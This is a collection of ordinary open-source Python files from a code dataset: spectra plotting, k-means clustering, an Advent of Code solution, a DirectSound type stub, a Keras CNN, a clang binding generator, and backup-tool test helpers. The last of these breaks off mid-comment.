{"seq_id":"15378082540","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom src.filepath import root\nL = []\nIL = []\nDCBias = []\nfor i in root.iter('WavelengthSweep'):  # L과 IL, DC bias 데이터 수집\n    L.append(list(map(float, i[0].text.split(','))))\n    IL.append(list(map(float, i[1].text.split(','))))\n    DCBias.append('DC = {}'.format(i.attrib['DCBias']))\nDCBias[-1] = 'Reference'\n\n\ndef poly(x, y, deg):  # 결정계수 구하기\n    coeffs = np.polyfit(x, y, deg)\n    # r-squared\n    p = np.poly1d(coeffs)\n    yhat = p(x)\n    ybar = np.sum(y) / len(y)           # or sum(y)/len(y) 평균값\n    ssreg = np.sum((yhat - ybar) ** 2)  # or sum([ (yihat - ybar)**2 for yihat in yhat]) 실제값과 예측값 사이\n    sstot = np.sum((y - ybar) ** 2)     # or sum([ (yi - ybar)**2 for yi in y]) 실제값과 평균값 사이\n    results = ssreg / sstot\n    return results\n\n\nRref = poly(L[-1], IL[-1], 6)         # 6차 결정계수\nfit_L = np.polyfit(L[-1], IL[-1], 6)  # IL fitting\nfit_IL = np.polyval(fit_L, L[-1])\n\nfor i in range(1, 4):  # 그래프 그리기\n    plt.subplot(2, 3, i)\n    if i == 1:  # raw data\n        for r in range(len(L)):\n            plt.plot(L[r], IL[r], label=DCBias[r])\n    if i == 2:  # reference fitting\n        plt.plot(L[-1], IL[-1], 'r', label='reference')\n        plt.plot(L[-1], fit_IL, 'c-', label='{0}th Rsqure={1}'.format(6, Rref))\n        plt.ylim(-60, -5)\n    if i == 3:  # raw data - reference fitting\n        for j in range(len(L)):\n            plt.plot(L[j], IL[j] - fit_IL, label=DCBias[j])\nplt.xlabel('Wavelength[nm]', fontsize=10)\nplt.ylabel('Transmission[dB]', fontsize=10)\nplt.title('Transmission spectra as measured', fontsize=12, fontweight='bold')\nplt.legend(loc='best', ncol=2, fontsize=8)\nplt.tight_layout()\nfig=plt.figure(1)\nfig.show()","repo_name":"MinjChae/MinChaee","sub_path":"src/IL.py","file_name":"IL.py","file_ext":"py","file_size_in_byte":1776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"29532865387","text":"import numpy as np\n\ndata = np.random.rand(100, 2)\n\nget_ipython().run_line_magic('matplotlib', 'inline')\n\nimport matplotlib.pyplot as plt\n\nx = [item[0] for item in data]\ny = [item[1] for item in data]\n\n# x, y = zip(*data)\n\nplt.scatter(x, y)\nplt.show()\n\nfrom sklearn.cluster import KMeans\n\nestimator = KMeans(n_clusters=4)\nestimator.fit(data)\n\ncolours = ['r', 'g', 'b', 'y']  # red, green, blue, yellow\n\npredicted_colours = [colours[label] for label in estimator.labels_]\n\nplt.scatter(x, y, c=predicted_colours)\nplt.show()\n\n\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/3.5 - Cluster Analysis - grouping similar items.py","file_name":"3.5 - Cluster Analysis - grouping similar items.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"38113074992","text":"#!/usr/local/bin/python3.8\n\nimport numpy as np\n\ndef get(url):\n    f = open(url, 'r')\n    data = []\n\n    for x in f:\n        data.append(x.strip())\n    return data\n\ndef get_mode_i(data, i):\n    tmp = []\n    \n    for x in data:\n        tmp.append(int(x[i]))\n    if np.mean(tmp) >= 0.5:\n        return 1\n    else:\n        return 0\n\ndef get_anti_mode_i(data, i):\n    tmp = []\n    for x in data:\n        tmp.append(int(x[i]))    \n    if np.mean(tmp) < 0.5:\n        return 1\n    else:\n        return 0\n        \ndef get_mode(data):\n    mode = []\n    for i in range(0,len(data[0])):\n        tmp = []\n        for x in data:\n            tmp.append(int(x[i]))\n        if np.mean(tmp) >= 0.5:\n            mode_tmp = 1\n        else:\n            mode_tmp = 0\n        mode.append(mode_tmp)\n\n    return mode\n\ndef get_anti_mode(mode):\n    anti_mode = []\n    for i in range(0,len(mode)):\n        if(mode[i] == 1):\n            anti_mode.append(0)\n        else:\n            anti_mode.append(1)\n\n    return anti_mode\n\ndef calc_bin(data):\n    num = 0\n    for i in range(0,len(data)):\n            num += (data[-(i+1)]) * 2 ** i\n    return num\n\ndef filter_i(data, i, num):\n    tmp_data = []\n    for x in data:\n        if int(x[i]) == num:\n            tmp_data.append(x)\n    return tmp_data\n    \ndef find_oxy(data):\n    tmp_filter = filter_i(data, 0, get_mode_i(data, 0))\n    for i in range(1,len(data[0])):\n        if len(tmp_filter) == 1:\n            break\n        else:\n            tmp_filter = filter_i(tmp_filter, i, get_mode_i(tmp_filter, i))\n    tmp = []\n    for i in range(0,len(tmp_filter[0])):\n        tmp.append(int(tmp_filter[0][i]))\n    return tmp\n\ndef find_co(data):\n    tmp_filter = filter_i(data, 0, get_anti_mode_i(data, 0))\n    for i in range(1,len(data[0])):\n        if len(tmp_filter) == 1:\n            break\n        else:\n            tmp_filter = filter_i(tmp_filter, i, get_anti_mode_i(tmp_filter, i))\n    tmp = []\n    for i in range(0,len(tmp_filter[0])):\n        tmp.append(int(tmp_filter[0][i]))\n    return tmp\n\n\ndef main():\n    data = get('aoc_input_3.txt')\n    mode = get_mode(data)\n    anti_mode = get_anti_mode(mode)\n    print(\"Power consumption:\",calc_bin(mode)*calc_bin(anti_mode))    \n    oxy = find_oxy(data)\n    co = find_co(data)\n    print(\"Oxygen generator rating:\", calc_bin(oxy))\n    print(\"CO2 scrubber rating:\", calc_bin(co))\n    print(\"Life support rating:\", calc_bin(oxy)*calc_bin(co))\n    \n    \nmain()","repo_name":"kristosvensson/k_svensson","sub_path":"Python/advent_of_code/2021/3/aoc.py","file_name":"aoc.py","file_ext":"py","file_size_in_byte":2419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"37206894601","text":"# Python: 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Library: win32comext, version: unspecified\n# Module: win32comext.directsound.directsound, version: unspecified\n\n'A module encapsulating the DirectSound interfaces.'\n\nimport typing\nimport builtins as _mod_builtins\nimport win32.lib.pywintypes as _mod_pywintypes\n\n_PyIID = _mod_pywintypes.IID\n\nDS3DMODE_DISABLE: int\nDS3DMODE_HEADRELATIVE: int\nDS3DMODE_NORMAL: int\ndef DSBCAPS() -> typing.Any:\n    ...\n\nDSBCAPSType = _mod_builtins.PyDSBCAPS\nDSBCAPS_CTRL3D: int\nDSBCAPS_CTRLFREQUENCY: int\nDSBCAPS_CTRLPAN: int\nDSBCAPS_CTRLPOSITIONNOTIFY: int\nDSBCAPS_CTRLVOLUME: int\nDSBCAPS_GETCURRENTPOSITION2: int\nDSBCAPS_GLOBALFOCUS: int\nDSBCAPS_LOCHARDWARE: int\nDSBCAPS_LOCSOFTWARE: int\nDSBCAPS_MUTE3DATMAXDISTANCE: int\nDSBCAPS_PRIMARYBUFFER: int\nDSBCAPS_STATIC: int\nDSBCAPS_STICKYFOCUS: int\nDSBFREQUENCY_MAX: int\nDSBFREQUENCY_MIN: int\nDSBFREQUENCY_ORIGINAL: int\nDSBLOCK_ENTIREBUFFER: int\nDSBLOCK_FROMWRITECURSOR: int\nDSBPAN_CENTER: int\nDSBPAN_LEFT: int\nDSBPAN_RIGHT: int\nDSBPLAY_LOOPING: int\nDSBPN_OFFSETSTOP: int\nDSBSIZE_MAX: int\nDSBSIZE_MIN: int\nDSBSTATUS_BUFFERLOST: int\nDSBSTATUS_LOOPING: int\nDSBSTATUS_PLAYING: int\ndef DSBUFFERDESC() -> typing.Any:\n    ...\n\nDSBUFFERDESCType = _mod_builtins.PyDSBUFFERDESC\nDSBVOLUME_MAX: int\nDSBVOLUME_MIN: int\ndef DSCAPS() -> typing.Any:\n    ...\n\nDSCAPSType = _mod_builtins.PyDSCAPSType\nDSCAPS_CERTIFIED: int\nDSCAPS_CONTINUOUSRATE: int\nDSCAPS_EMULDRIVER: int\nDSCAPS_PRIMARY16BIT: int\nDSCAPS_PRIMARY8BIT: int\nDSCAPS_PRIMARYMONO: int\nDSCAPS_PRIMARYSTEREO: int\nDSCAPS_SECONDARY16BIT: int\nDSCAPS_SECONDARY8BIT: int\nDSCAPS_SECONDARYMONO: int\nDSCAPS_SECONDARYSTEREO: int\ndef DSCBCAPS() -> typing.Any:\n    ...\n\nDSCBCAPSType = _mod_builtins.PyDSCBCAPSType\nDSCBCAPS_WAVEMAPPED: int\nDSCBLOCK_ENTIREBUFFER: int\nDSCBSTART_LOOPING: int\nDSCBSTATUS_CAPTURING: int\nDSCBSTATUS_LOOPING: int\ndef DSCBUFFERDESC() -> typing.Any:\n    ...\n\nDSCBUFFERDESCType = _mod_builtins.PyDSCBUFFERDESC\ndef DSCCAPS() -> typing.Any:\n    ...\n\nDSCCAPSType = _mod_builtins.PyDSCCAPSType\nDSCCAPS_EMULDRIVER: int\nDSERR_ACCESSDENIED: int\nDSERR_ALLOCATED: int\nDSERR_ALREADYINITIALIZED: int\nDSERR_BADFORMAT: int\nDSERR_BADSENDBUFFERGUID: int\nDSERR_BUFFERLOST: int\nDSERR_BUFFERTOOSMALL: int\nDSERR_CONTROLUNAVAIL: int\nDSERR_DS8_REQUIRED: int\nDSERR_FXUNAVAILABLE: int\nDSERR_GENERIC: int\nDSERR_INVALIDCALL: int\nDSERR_INVALIDPARAM: int\nDSERR_NOAGGREGATION: int\nDSERR_NODRIVER: int\nDSERR_NOINTERFACE: int\nDSERR_OBJECTNOTFOUND: int\nDSERR_OTHERAPPHASPRIO: int\nDSERR_OUTOFMEMORY: int\nDSERR_PRIOLEVELNEEDED: int\nDSERR_SENDLOOP: int\nDSERR_UNINITIALIZED: int\nDSERR_UNSUPPORTED: int\nDSSCL_EXCLUSIVE: int\nDSSCL_NORMAL: int\nDSSCL_PRIORITY: int\nDSSCL_WRITEPRIMARY: int\nDSSPEAKER_GEOMETRY_MAX: int\nDSSPEAKER_GEOMETRY_MIN: int\nDSSPEAKER_GEOMETRY_NARROW: int\nDSSPEAKER_GEOMETRY_WIDE: int\nDSSPEAKER_HEADPHONE: int\nDSSPEAKER_MONO: int\nDSSPEAKER_QUAD: int\nDSSPEAKER_STEREO: int\nDSSPEAKER_SURROUND: int\nDS_NO_VIRTUALIZATION: int\nDS_OK: int\ndef DirectSoundCaptureCreate() -> typing.Any:\n    ...\n\ndef DirectSoundCaptureEnumerate() -> typing.Any:\n    ...\n\ndef DirectSoundCreate() -> typing.Any:\n    ...\n\ndef DirectSoundEnumerate() -> typing.Any:\n    ...\n\nIID_IDirectSound: _PyIID\nIID_IDirectSoundBuffer: _PyIID\nIID_IDirectSoundCapture: _PyIID\nIID_IDirectSoundCaptureBuffer: _PyIID\nIID_IDirectSoundNotify: _PyIID\n__doc__: str\n__file__: str\n__name__: str\n__package__: str\ndef __getattr__(name) -> typing.Any:\n    ...\n\n","repo_name":"BlueDev5/Arco-DotFiles","sub_path":"Vscode extensions/ms-python.vscode-pylance-2021.12.2/dist/bundled/stubs/win32comext-stubs/directsound/directsound.pyi","file_name":"directsound.pyi","file_ext":"pyi","file_size_in_byte":3457,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"}
{"seq_id":"38902431283","text":"#= HOW TO DESIGN A CNN ARCHITECTURE IN KERAS - FUNCTIONAL API =#\n\n# Import the MNIST dataset\nfrom keras.datasets import fashion_mnist\n(data_train, labels_train), (data_test, labels_test) = fashion_mnist.load_data()\nclasses = ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat', 'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot'] # fashion_mnist.load_data?\n\n# Normalize to [0, 1]\nX_train = data_train/255.0\nX_test  = data_test/255.0\n\n# Reshaping data\nX_train = X_train.reshape(-1, 28, 28, 1)\nX_test  = X_test.reshape(-1, 28, 28, 1)\n\nfrom keras.utils import to_categorical\ny_train = labels_train\ny_test = labels_test\n\t\n# Design and build `model` architecture\nimport keras\n\nfrom keras.layers import Conv2D, MaxPooling2D, Flatten, Dense\n\n### ---------------------------------- \"\"\" Architecture \"\"\" ---------------------------------- ### \ninputs = keras.Input(shape=(28, 28, 1))\n# 2-dimensional convolutional layer with 128 feature maps and a 3×3 filter size\nL = Conv2D(128, (3, 3), activation='relu')(inputs)\n# 2 × 2 max-pooling layer\nL = MaxPooling2D((2, 2))(L)\n# 2-dimensional convolutional layer with 256 feature maps and a 3×3 filter size\nL = Conv2D(256, (3, 3), activation='relu')(L)\n# 2 × 2 max-pooling layer\nL = MaxPooling2D((2, 2))(L)\n# 2-dimensional convolutional layer with 512 feature maps and a 3×3 filter size\nL = Conv2D(512, (3, 3), activation='relu')(L)\n# 2 × 2 max-pooling layer\nL = MaxPooling2D((2, 2))(L)\n# flatten the data\nL = Flatten()(L)\n# dense (fully-connected) layer consisting of 128 units\nL = Dense(128, activation='relu')(L)\n# dense (fully-connected) layer consisting of 128 units\nL = Dense(128, activation='relu')(L)\n# Output layer (classification probabilites): 10 neurons\noutputs = Dense(10, activation='softmax')(L)\n### ------------------------------------------------------------------------------------------- ###\nmodel = keras.Model(inputs=inputs, outputs=outputs, name=\"mnist_classifier\") # Create instance of the graph of layers\nmodel.summary()\n\nkeras.utils.plot_model(model, \"functional_model_shape_info.png\", show_shapes=True)\n\n# Compile `model_` using an appropriate loss and optimizer algorithm\nfrom keras.losses import SparseCategoricalCrossentropy as scc\nloss = scc(from_logits=False)\nopt = 'adam'\nmodel.compile(optimizer=opt, loss=loss, metrics=['accuracy'])\n\n# Train `model` and assign training meta-data to a variable\nmdl_mdata = model.fit(X_train, y_train, validation_split=.2, epochs=8, batch_size=128, shuffle=True)\n\n# Print accuracy of `model` on testing set \nscores = model.evaluate(X_test, y_test, batch_size=32, return_dict=True) # scores['loss'], scores['accuracy']\nprint(\"Accuracy: %.2f%%\" %(scores['accuracy']*100))\n\nimport random\nidx = random.randint(0, len(X_test)-1)\nsample = X_test[idx, :, :, :].reshape(-1, 28, 28, 1)\ny_pred = model.predict(sample)\ny_true = y_test[idx]\n\nimport matplotlib.pyplot as plt\nfrom numpy import argmax\n\nprint('\\033[95m', 3*'\\t' + 5*'---' + ' Plot an arbitrary sample ' + 5*'---', '\\033[0m')\nplt.imshow(sample.reshape(28, 28), cmap='gray')\nplt.title('Ground Truth: {} | Prediction: {}'.format(classes[argmax(y_true)], classes[argmax(y_pred)]))\nplt.axis('off')\nplt.show()\n\n# Plot `accuracy` vs `# epoch`\nplt.plot(mdl_mdata.history['accuracy'])\nplt.plot(mdl_mdata.history['val_accuracy'])\nplt.title('CNN Accuracy vs. Epoch')\nplt.ylabel('Accuracy')\nplt.xlabel('# Epoch')\nplt.legend(['Train', 'Test'], loc='best')\nplt.show()\n\n# Plot loss vs epoch\nplt.plot(mdl_mdata.history['loss'])\nplt.plot(mdl_mdata.history['val_loss'])\nplt.title('CNN Loss vs. Epoch')\nplt.ylabel('Loss')\nplt.xlabel('# Epoch')\nplt.legend(['Train', 'Test'], loc='best')\nplt.show()\n\nmodel.save('mdls/functional_cnn_model')\n\n","repo_name":"a-mhamdi/journey-into-ML","sub_path":"Python/cnn-keras-functional-arch.py","file_name":"cnn-keras-functional-arch.py","file_ext":"py","file_size_in_byte":3677,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"15839799516","text":"#!/usr/bin/python\n# vim: set fileencoding=utf-8\n\nimport sys\nimport os\nimport clang.cindex\nimport itertools\n\nfrom ctypes.util import find_library\n\nfrom mako.template import Template\n\ndef get_annotations(node):\n    return [c.displayname for c in node.get_children()\n            if c.kind == clang.cindex.CursorKind.ANNOTATE_ATTR]\n\nclass Function(object):\n    def __init__(self, cursor):\n        self.name = cursor.spelling\n        self.annotations = get_annotations(cursor)\n        self.access = cursor.access_specifier\n\nclass Field(object):\n    def __init__(self, cursor):\n        self.name = cursor.spelling\n        self.annotations = get_annotations(cursor)\n        self.access = cursor.access_specifier\n        self.typename = cursor.type.get_canonical().spelling\n\nclass Class(object):\n    def __init__(self, cursor, namespaces):\n        self.name = cursor.spelling\n        self.fullName = \"::\".join(namespaces) + \"::\" + cursor.spelling\n        self.functions = []\n        self.fields = []\n        self.annotations = get_annotations(cursor)\n\n        for c in cursor.get_children():\n            if (c.kind == clang.cindex.CursorKind.CXX_METHOD and\n                c.access_specifier == clang.cindex.AccessSpecifier.PUBLIC):\n                f = Function(c)\n                self.functions.append(f)\n\n        for c in cursor.get_children():\n            if (c.kind == clang.cindex.CursorKind.FIELD_DECL and\n                c.access_specifier == clang.cindex.AccessSpecifier.PUBLIC):\n                f = Field(c)\n                self.fields.append(f)\n\ndef build_classes(cursor, namespaces):\n    result = []\n    for c in cursor.get_children():\n        if (c.kind == clang.cindex.CursorKind.CLASS_DECL\n            and c.location.file.name == sys.argv[1]):\n            a_class = Class(c, namespaces)\n            result.append(a_class)\n        elif c.kind == clang.cindex.CursorKind.NAMESPACE:\n            namespaces.append(c.spelling);\n            child_classes = build_classes(c, namespaces)\n            namespaces.pop();\n            result.extend(child_classes)\n\n    return result\n\nif len(sys.argv) != 2:\n    print(\"Usage: boost_python_gen.py [header file name]\")\n    sys.exit()\n\nprint(\"Setting clang path\")\n#clang.cindex.Config.set_library_file('C:/Python27/DLLs/libclang.dll')\nclang.cindex.Config.set_library_path('C:/Program Files (x86)/LLVM/bin')\nprint(\"Clang path set\")\n\nindex = clang.cindex.Index.create()\ntranslation_unit = index.parse(sys.argv[1], ['-x', 'c++', '-std=c++11', '-D__CODE_GENERATOR__'])\n\nclasses = build_classes(translation_unit.cursor, [])\ntpl = Template(filename='templates/jniadapter.mako')\nrendered = tpl.render(\n             classes=classes,\n             module_name='CodegenExample',\n             namespace='JniGenTest',\n             include_file=sys.argv[1])\n\nprint(rendered)\n\nOUTPUT_DIR = 'generated'\n\nif not os.path.isdir(OUTPUT_DIR): os.mkdir(OUTPUT_DIR)\n\nwith open(\"generated/{}.bind.cc\".format(sys.argv[1]), \"w\") as f:\n    f.write(rendered)\n","repo_name":"markvincze/jnigen","sub_path":"src/jnigen.py","file_name":"jnigen.py","file_ext":"py","file_size_in_byte":2970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"38417577462","text":"import contextlib\nimport errno\nimport json\nimport os\nimport shutil\nimport tempfile\nimport traceback\nimport uuid\n\nfrom . import checkpoint_lib\nfrom . import lib\n\nfrom .test_util import AssertEquals\nfrom .test_util import CreateFile\nfrom .test_util import DoBackupsMain\n\n\nFAKE_DISK_IMAGE_LEVEL_OFF = 'off'\nFAKE_DISK_IMAGE_LEVEL_MEDIUM = 'medium'\nFAKE_DISK_IMAGE_LEVEL_HIGH = 'high'\nFAKE_DISK_IMAGE_LEVEL_MAX = 'max'\nFAKE_DISK_IMAGE_LEVEL_NONE = 'none'\n\nFAKE_DISK_IMAGE_LEVEL_CHOICES = [\n  FAKE_DISK_IMAGE_LEVEL_OFF,\n  FAKE_DISK_IMAGE_LEVEL_MEDIUM,\n  FAKE_DISK_IMAGE_LEVEL_HIGH,\n  FAKE_DISK_IMAGE_LEVEL_MAX,\n]\n\nFAKE_DISK_IMAGE_LEVEL_TO_INDEX = {\n  FAKE_DISK_IMAGE_LEVEL_OFF: 0,\n  FAKE_DISK_IMAGE_LEVEL_MEDIUM: 1,\n  FAKE_DISK_IMAGE_LEVEL_HIGH: 2,\n  FAKE_DISK_IMAGE_LEVEL_MAX: 3,\n  FAKE_DISK_IMAGE_LEVEL_NONE: 4,\n}\n\nFAKE_DISK_IMAGE_LEVEL = FAKE_DISK_IMAGE_LEVEL_MEDIUM\n\nDEBUG_FAKE_DISK_IMAGE_LEVELS = False\n\n\ndef AssertFileSizeInRange(actual_size, min_expected, max_expected):\n  if type(actual_size) == str:\n    actual_size = lib.FileSizeStringToBytes(actual_size)\n  if type(min_expected) == str:\n    min_expected = lib.FileSizeStringToBytes(min_expected)\n  if type(max_expected) == str:\n    max_expected = lib.FileSizeStringToBytes(max_expected)\n  if actual_size < min_expected or actual_size > max_expected:\n    raise Exception('File size %s outside of range [%s, %s]' % (\n      lib.FileSizeToString(actual_size), lib.FileSizeToString(min_expected),\n      lib.FileSizeToString(max_expected)))\n\n\ndef SetXattr(path, key, value):\n  xattr_obj = lib.Xattr(path)\n  xattr_obj[key] = value\n\n\ndef GetManifestItemized(manifest):\n  itemized_outputs = []\n  for path in manifest.GetPaths():\n    itemized_outputs.append(str(manifest.GetPathInfo(path).GetItemized()))\n  return itemized_outputs\n\n\ndef DoDumpManifest(manifest_path, ignore_matching_renames=False,\n                   expected_success=True, expected_output=[]):\n  cmd_args = ['dump-manifest',  manifest_path]\n  with SetOmitUidAndGidInPathInfoToString():\n    DoBackupsMain(cmd_args, expected_success=expected_success, expected_output=expected_output)\n\n\ndef DoVerifyManifest(src_root, manifest_or_image_path, dry_run=False,\n                     expected_success=True, expected_output=[]):\n  cmd_args = ['verify-manifest',\n              '--src-root', src_root,\n              manifest_or_image_path,\n              '--checksum-all']\n  DoBackupsMain(cmd_args, dry_run=dry_run, expected_success=expected_success,\n                expected_output=expected_output)\n\n\ndef GetFileTreeManifest(parent_path):\n  with open('/dev/null', 'w') as devnull:\n    checkpoint_creator = checkpoint_lib.CheckpointCreator(\n      src_root_dir=parent_path, checkpoints_root_dir='/dev/null', name='checkpoint',\n      output=devnull, dry_run=True, encryption_manager=lib.EncryptionManager(output=devnull))\n    checkpoint_creator.Create()\n    return checkpoint_creator.manifest\n\n\n@contextlib.contextmanager\ndef SetHdiutilCompactOnBatteryAllowed(new_value=False):\n  old_value = lib.HDIUTIL_COMPACT_ON_BATTERY_ALLOWED\n  lib.HDIUTIL_COMPACT_ON_BATTERY_ALLOWED = new_value\n  try:\n    yield\n  finally:\n    lib.HDIUTIL_COMPACT_ON_BATTERY_ALLOWED = old_value\n\n\n@contextlib.contextmanager\ndef SetOmitUidAndGidInPathInfoToString(new_value=True):\n  old_value = lib.OMIT_UID_AND_GID_IN_PATH_INFO_TO_STRING\n  lib.OMIT_UID_AND_GID_IN_PATH_INFO_TO_STRING = new_value\n  try:\n    yield\n  finally:\n    lib.OMIT_UID_AND_GID_IN_PATH_INFO_TO_STRING = old_value\n\n\n@contextlib.contextmanager\ndef SetMaxDupCounts(new_max_dup_find_count=10, new_max_dup_printout_count=5):\n  old_find_value = lib.MAX_DUP_FIND_COUNT\n  old_printout_value = lib.MAX_DUP_PRINTOUT_COUNT\n  lib.MAX_DUP_FIND_COUNT = new_max_dup_find_count\n  lib.MAX_DUP_PRINTOUT_COUNT = new_max_dup_printout_count\n  try:\n    yield\n  finally:\n    lib.MAX_DUP_FIND_COUNT = old_find_value\n    lib.MAX_DUP_PRINTOUT_COUNT = old_printout_value\n\n\n@contextlib.contextmanager\ndef SetEscapeKeyDetectorCancelAtInvocation(invocation_num):\n  lib.EscapeKeyDetector.SetCancelAtInvocation(invocation_num)\n  try:\n    yield\n  finally:\n    lib.EscapeKeyDetector.ClearCancelAtInvocation()\n\n\n@contextlib.contextmanager\ndef InteractiveCheckerReadyResults(interactive_checker):\n  try:\n    yield interactive_checker\n  finally:\n    interactive_checker.ClearReadyResults()\n\n\nclass FakeDiskImage(object):\n  @staticmethod\n  def PathFromDevice(device):\n    prefix = '/dev/FAKE_'\n    assert device.startswith(prefix)\n    return device[len(prefix):]\n\n  @staticmethod\n  def UnMountedDataDir(image_path):\n    return image_path + '_FAKE_IMAGE_DATA_UNMOUNTED'\n\n  def __init__(self, path):\n    assert os.path.splitext(path)[1] in ['.sparsebundle', '.dmg', '.sparseimage', '.img']\n    self.path = path\n    self.metadata = {}\n\n  def Create(self):\n    assert not os.path.lexists(self.path)\n    self.metadata['attached'] = False\n    self.metadata['mounted'] = False\n    self.metadata['mount_point'] = None\n    self.metadata['unmounted_data_dir'] = FakeDiskImage.UnMountedDataDir(self.path)\n    self.metadata['image_uuid'] = str(uuid.uuid4())\n    os.mkdir(self.metadata['unmounted_data_dir'])\n    self._Save()\n\n  def Attach(self, mount=False, random_mount_point=False, mount_point=None):\n    self._Load()\n    assert not self.metadata['attached']\n    assert not self.metadata['mounted']\n    self.metadata['attached'] = True\n    self.metadata['mounted'] = mount\n    if mount:\n      self.metadata['mount_point'] = mount_point\n      if random_mount_point or mount_point is None:\n        self.metadata['mount_point'] = tempfile.NamedTemporaryFile(delete=False).name\n        os.unlink(self.metadata['mount_point'])\n      assert os.path.isdir(self.metadata['unmounted_data_dir'])\n      os.rename(self.metadata['unmounted_data_dir'], self.metadata['mount_point'])\n    self._Save()\n    result = lib.DiskImageHelperAttachResult()\n    result.device = '/dev/FAKE_' + self.path\n    result.mount_point = self.metadata['mount_point']\n    return result\n\n  def Detach(self):\n    self._Load()\n    assert self.metadata['attached']\n    self.metadata['attached'] = False\n    if self.metadata['mounted']:\n      assert self.metadata['mount_point'] is not None\n      os.rename(self.metadata['mount_point'], self.metadata['unmounted_data_dir'])\n      self.metadata['mount_point'] = None\n      self.metadata['mounted'] = False\n    self._Save()\n\n  def MoveTo(self, to_path):\n    self._Load()\n    assert not self.metadata['attached']\n    assert not self.metadata['mounted']\n    old_unmounted_data_dir = self.metadata['unmounted_data_dir']\n    self.metadata['unmounted_data_dir'] = FakeDiskImage.UnMountedDataDir(to_path)\n    self._Save()\n    shutil.move(self.path, to_path)\n    self.path = to_path\n    shutil.move(old_unmounted_data_dir, self.metadata['unmounted_data_dir'])\n\n  def GetImageEncryptionDetails(self):\n    self._Load()\n    return (False, self.metadata['image_uuid'])\n\n  def _Load(self):\n    with open(self.path, 'r') as in_f:\n      self.metadata = json.load(in_f)\n\n  def _Save(self):\n    with open(self.path, 'w') as out_f:\n      json.dump(self.metadata, out_f, indent=2)\n\n\nclass FakeDiskImageHelper(object):\n  def CreateImage(self, path, size=None, filesystem=None, volume_name=None,\n                  encryption=False, password=None):\n    assert not encryption\n    assert not os.path.lexists(path)\n    fake_image = FakeDiskImage(path)\n    fake_image.Create()\n\n  def AttachImage(self, path, encrypted=False, password=None, mount=False,\n                  random_mount_point=False, mount_point=None,\n                  readonly=True, browseable=False, verify=True):\n    assert not encrypted\n    fake_image = FakeDiskImage(path)\n    return fake_image.Attach(mount=mount, random_mount_point=random_mount_point, mount_point=mount_point)\n\n  def DetachImage(self, device, mount_point):\n    fake_image = FakeDiskImage(FakeDiskImage.PathFromDevice(device))\n    fake_image.Detach()\n\n  def MoveImage(self, from_path, to_path):\n    fake_image = FakeDiskImage(from_path)\n    fake_image.MoveTo(to_path)\n\n  def GetImageEncryptionDetails(self, path):\n    fake_image = FakeDiskImage(path)\n    return fake_image.GetImageEncryptionDetails()\n\n\n@contextlib.contextmanager\ndef ApplyFakeDiskImageHelperLevel(min_fake_disk_image_level=FAKE_DISK_IMAGE_LEVEL_MEDIUM, test_case=None):\n  if (FAKE_DISK_IMAGE_LEVEL == FAKE_DISK_IMAGE_LEVEL_MAX\n      and min_fake_disk_image_level == FAKE_DISK_IMAGE_LEVEL_NONE):\n    print('*** Warning: %s skipped since it requires real disk images' % test_case)\n    yield False\n    return\n\n  if (FAKE_DISK_IMAGE_LEVEL_TO_INDEX[min_fake_disk_image_level] >\n      FAKE_DISK_IMAGE_LEVEL_TO_INDEX[FAKE_DISK_IMAGE_LEVEL]):\n    if DEBUG_FAKE_DISK_IMAGE_LEVELS:\n      print('Using REAL Disk Images')\n      yield False\n      return\n    yield True\n    return\n\n  old_value = lib.DISK_IMAGE_HELPER_OVERRIDE\n  lib.DISK_IMAGE_HELPER_OVERRIDE = FakeDiskImageHelper\n  try:\n    if DEBUG_FAKE_DISK_IMAGE_LEVELS:\n      print('Using FAKE Disk Images')\n      yield False\n      return\n    yield True\n  finally:\n    lib.DISK_IMAGE_HELPER_OVERRIDE = old_value\n\n\ndef CollapseApfsOperationsInOutput(output_lines):\n  new_output_lines = []\n  in_apfs_operation = False\n  for line in output_lines:\n    if line == 'Started APFS operation':\n      assert not in_apfs_operation\n      in_apfs_operation = True\n      new_output_lines.append('<... snip APFS operation ...>')\n      continue\n    elif line == 'Finished APFS operation':\n      assert in_apfs_operation\n      in_apfs_operation = False\n      continue\n    elif in_apfs_operation:\n      continue\n    new_output_lines.append(line)\n  assert not in_apfs_operation\n  return new_output_lines\n\n\ndef CreateGoogleDriveRemoteFile(parent_dir, filename, contents='', google_drive_id='FAKE_ID'):\n  _, ext = os.path.splitext(filename)\n  assert ext in lib.GOOGLE_DRIVE_FILE_EXTENSIONS_WITH_MISMATCHED_FILE_SIZES\n  path = CreateFile(parent_dir, filename, contents=contents)\n  xattr_data = lib.Xattr(path)\n  xattr_data[lib.GOOGLE_DRIVE_FILE_XATTR_KEY] = google_drive_id.encode('ascii')\n  return path\n\n\n@contextlib.contextmanager\ndef HandleGoogleDriveRemoteFiles(paths):\n  class FakeStat:\n    def __init__(self, orig_stat):\n      self.st_mode = orig_stat.st_mode\n      self.st_ino = orig_stat.st_ino\n      self.st_dev = orig_stat.st_dev\n      self.st_nlink = orig_stat.st_nlink\n      self.st_uid = orig_stat.st_uid\n      self.st_gid = orig_stat.st_gid\n      self.st_size = orig_stat.st_size\n      self.st_atime = orig_stat.st_atime\n      self.st_mtime = orig_stat.st_mtime\n      self.st_ctime = orig_stat.st_ctime\n\n  class GoogleDriveRemoteFilesHandler:\n    def __init__(self):\n      self._paths_with_stat_overrides = set([])\n\n    def GetPathsWithStatOverrides(self):\n      return sorted(list(self._paths_with_stat_overrides))\n\n    def StatOverride(self, path, follow_symlinks=False):\n      if path in paths:\n        stat = FakeStat(lib.Stat(path, follow_symlinks=follow_symlinks))\n        assert stat.st_size > 0\n        # Set an incorrect 